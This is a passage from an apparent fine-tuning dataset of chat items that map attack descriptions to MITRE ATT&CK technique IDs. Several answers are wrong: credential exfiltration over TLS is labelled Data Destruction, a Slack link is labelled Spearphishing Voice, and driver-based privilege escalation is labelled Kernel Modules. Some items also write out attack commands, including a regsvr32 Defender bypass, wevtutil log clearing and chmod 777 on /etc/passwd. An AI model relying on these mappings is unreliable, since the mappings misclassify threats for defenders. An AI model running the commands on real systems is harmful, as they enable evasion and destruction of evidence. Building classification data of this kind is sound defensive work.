                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals download and adapt an exploit for a vulnerable industrial control system to gain control over the device."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee clicks on a malicious link in a Slack message that leads to the download of ransomware."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the 'repadmin /showrepl' command to infer trusted domain relationships in the forest."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor runs a Bash command 'date' and captures the output to discover the target's local time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new VPS instance to serve as a staging ground for ransomware delivery."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise was achieved by modifying the source code of a critical open‑source framework, embedding a stealthy exfiltration module that activated after deployment."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Rubeus.exe 'asreproast' command to harvest AS‑REP hashes from a Windows domain where certain accounts have pre‑authentication disabled."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker uses regsvr32 /s /n /i:malicious.dll to bypass Windows Defender's rule sets."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the intruder uploads a credential‑dumping tool to the endpoint for later use."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker examines the victim organization’s quarterly earnings reports and product launch timelines to infer its business tempo."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable WordPress site to host their C2 beacon files."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the AWS STS GetCallerIdentity call to discover the current cloud account context and associated users."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojanized video conferencing app gains access to the system’s microphone and streams live audio to a remote listener."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is encoded in a wrapper that discards the original payload's signature information, leaving only the stripped code to execute on the target."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service modifies the default PowerShell profile to execute a PowerShell command that adds a new scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable web application to retrieve stored user passwords from the database."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates counterfeit antivirus warnings to divert attention from the real intrusion."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes a command to dump the Wi‑Fi configuration files, revealing SSID names and encryption types."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool uses binary padding, embedding random data between code blocks to mask the actual malicious instructions."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses Right-to-Left Override Unicode sequences to hide the true file extension of a DLL, making it look like a harmless image file."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploads stolen credentials to a public Pastebin page, using a PowerShell script to automate the upload."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group deploys a custom RAT that includes a feature to take periodic screen grabs and upload them to an FTP server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By overriding the default signal handlers, the threat actor ensures that process interrupts are ignored, keeping the malicious payload hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code initiates a SYN flood against the victim's web server, overwhelming the TCP handshake queue and rendering the service unavailable."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform targeted searches on subscription‑only cybersecurity forums for zero‑day exploit details."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged an insecure deserialization issue in a public‑facing API endpoint to achieve code execution on the target host."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script examines network adapter MAC address prefixes to see if they match known virtual NIC vendors like VirtualBox or Parallels."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spawns a zero‑size, off‑screen window that remains invisible to the user while executing its payload."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses AWS CLI commands to move encrypted data dumps into an S3 bucket that is linked to the attacker’s AWS account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves using launchctl to modify the RunAtLoad flag of an existing launchd job, causing malicious code to execute on login."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan drops a malicious JAR file into the Java classpath and modifies startup scripts to load it."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts the victim's internal Active Directory domain structure by querying LDAP and DNS to map out domain trusts."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script assigns the \"Project Viewer\" role to a compromised GCP user, expanding visibility of resources."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Microsoft Office document uses the Shell function to execute a PowerShell command line."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to invoke the Windows Media Capture API and records video from the victim's webcam without user consent."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code encoded exfiltration data within HTTP GET parameters, blending with regular web browsing activity."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor utilizes Masscan to locate services broadcasting TLS certificates and logs the certificate details for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Microsoft Office document initiates a PowerShell script that deletes all .docx and .xlsx files in user profiles."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leverages Right-to-Left Override sequences in malicious HTML pages to trick browsers into executing hidden JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor establishes an encrypted SSH connection to remote Linux servers to execute command-line instructions and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a payload to disk and then clears the Mark‑of‑the‑Web ADS attribute, ensuring the file is treated as trusted by the operating system."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group employed smbclient to enumerate NetBIOS names and shared resources on the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries acquire legitimate code signing certificates from compromised developers to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After phishing, the attacker adds a mail forwarding rule that sends copies of all inbound messages to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor on a macOS host extracts credentials from the Keychain to compromise additional services."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors generate self-signed code signing certificates to authenticate malware binaries and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the network boot configuration to retrieve a malicious OS image via TFTP during the pre‑OS boot sequence."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a packed binary that decrypts its code segment during runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses a DNS query to a domain generated via a hash of the current date, retrieving the IP address of its command server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script uses the Google Drive API to sync harvested documents to the attacker's account."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the attacker runs \"wevtutil cl Microsoft-Windows-...\" to specifically clear Windows Defender logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable driver to perform a privilege escalation via arbitrary kernel code execution."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exfiltrates credentials by embedding them in outbound TLS traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider placed a USB thumb drive in the workstation and manually copied sensitive PDF reports before leaving the building."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor initiates a TCP SYN flood from compromised hosts to a critical infrastructure device, preventing legitimate connections."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged cmd.exe to run a PowerShell payload that harvested credentials from the local machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware places a malicious DLL in a directory that is searched before the legitimate library, causing the victim application to load the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends a mass phishing email disguised as a security alert, prompting recipients to download a document that exfiltrates stored browser passwords and cookies."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a phishing email with a link that, once clicked, uploads a keylogger to the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary executes a Layer 7 DDoS attack by sending massive numbers of POST requests to a vulnerable API endpoint, overwhelming the application."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a third‑party email backup service, retrieving the victim’s archived messages."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan retrieves PowerShell commands from a remote URL and executes them using the system's PowerShell interpreter."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised a certificate authority's signing server to steal legitimate code‑signing certificates for use in malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy legitimate icons and naming conventions to trick users into executing malware."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a custom .timer file to schedule a credential‑dumping binary to run every 30 minutes via systemd."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool reads the Cisco IOS configuration backup to obtain enable passwords and SNMP community strings."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executed the command 'wevtutil cl System' to erase Windows Event Log entries after exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses an OSINT tool to gather information about potential targets' password policies, what tactic is being employed here?"
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An external actor crafted specially formatted URLs to bypass authentication and dump Confluence page content via the /download/attachments endpoint."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor revokes the logging role from a service principal in Azure AD, effectively turning off activity logging for that principal."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Windows’ DCOM infrastructure, the threat actor sends remote procedure calls to a malicious COM component to control the victim’s system."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a crafted executable to a directory that appears early in the PATH, effectively hijacking execution of commonly invoked tools."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies Linux file permissions with `chmod 777` on /etc/passwd to allow unauthorized read/write access."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a flaw in the browser sandbox, the attacker evades security controls and executes arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host executes a Python script that contacts \"https://api.ipify.org\" to obtain the external IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
